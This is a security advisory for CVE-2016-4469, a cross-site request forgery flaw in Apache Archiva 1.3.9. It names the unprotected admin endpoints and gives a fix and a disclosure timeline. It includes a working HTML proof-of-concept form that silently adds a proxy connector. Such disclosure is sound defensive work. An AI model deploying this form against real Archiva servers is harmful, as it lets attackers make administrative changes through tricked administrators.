RCE Security Advisory
https://www.rcesecurity.com


1. ADVISORY INFORMATION
=======================
Product:        Apache Archiva
Vendor URL:     https://archiva.apache.org
Type:           Cross-Site Request Forgery [CWE-253]
Date found:     2016-05-31
Date published: 2016-07-11
CVSSv3 Score:   5.4 (CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N)
CVE:            CVE-2016-4469


2. CREDITS
==========
This vulnerability was discovered and researched by Julien Ahrens from
RCE Security.


3. VERSIONS AFFECTED
====================
Apache Archiva v1.3.9
older versions may be affected too.


4. INTRODUCTION
===============
Apache Archiva™ is an extensible repository management software that helps
taking care of your own personal or enterprise-wide build artifact
repository. It is the perfect companion for build tools such as Maven,
Continuum, and ANT.

(from the vendor's homepage)


5. VULNERABILITY DETAILS
========================
The application basically offers a Cross-Site Request Forgery protection
using the a Struts-based token called "token". While many administrative
functionalities like adding new users are protected on this way, the
following HTTP POST-based functions are missing this token and are
therefore vulnerable to CSRF:

Adding new repository proxy connectors:
/archiva/admin/addProxyConnector_commit.action

Adding new repositories:
/archiva/admin/addRepository_commit.action

Editing existing repositories:
/archiva/admin/editRepository_commit.action

Adding legacy artifact paths:
/archiva/admin/addLegacyArtifactPath_commit.action

Changing the organizational appearance:
/archiva/admin/saveAppearance.action

Uploading new artifacts:
/archiva/upload_submit.action


The following Proof-of-Concept triggers this vulnerability and adds a new
proxy connector called "CSRF":


<html>
  <body>
    <form
action="http://localhost:8080/archiva/admin/addProxyConnector_commit.action"
method="POST">
      <input type="hidden" name="pattern" value="" />
      <input type="hidden" name="connector&#46;order" value="0" />
      <input type="hidden" name="connector&#46;proxyId"
value="&#40;direct&#32;connection&#41;" />
      <input type="hidden" name="connector&#46;sourceRepoId" value="CSRF" />
      <input type="hidden" name="connector&#46;targetRepoId"
value="maven2&#45;repository&#46;dev&#46;java&#46;net" />
      <input type="hidden"
name="connector&#46;policies&#91;&apos;propagate&#45;errors&#45;on&#45;update&apos;&#93;"
value="always" />
      <input type="hidden"
name="connector&#46;policies&#91;&apos;cache&#45;failures&apos;&#93;"
value="no" />
      <input type="hidden"
name="connector&#46;policies&#91;&apos;releases&apos;&#93;"
value="always" />
      <input type="hidden"
name="connector&#46;policies&#91;&apos;propagate&#45;errors&apos;&#93;"
value="stop" />
      <input type="hidden"
name="connector&#46;policies&#91;&apos;checksum&apos;&#93;" value="fail" />
      <input type="hidden"
name="connector&#46;policies&#91;&apos;snapshots&apos;&#93;"
value="always" />
      <input type="hidden" name="propertyKey" value="" />
      <input type="hidden" name="propertyValue" value="" />
      <input type="hidden" name="blackListPattern" value="" />
      <input type="hidden" name="whiteListPattern" value="" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>


6. RISK
=======
To successfully exploit this vulnerability a user with administrative rights
must be tricked into visiting an arbitrary website while having an
authenticated session in the application.

The vulnerability allows remote attackers to perform sensitive
administrative actions like adding new repository proxy connectors, adding
new repositories, editing existing repositories, adding legacy artifact
paths, changing the organizational appearance or uploading new artifacts in
the authentication context of the targeted user.


7. SOLUTION
===========
Upgrade/Migrate to Apache Archiva 2.2.1


8. REPORT TIMELINE
==================
2016-05-31: Discovery of the vulnerability
2016-05-31: Notified vendor via public security mail address
2016-06-06: No response, sent out another notification
2016-06-10: Vendor states that this version is out of support
2016-06-21: Vendor assigns CVE-2016-4469
2016-07-11: Advisory released


9. REFERENCES
=============
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2016-4469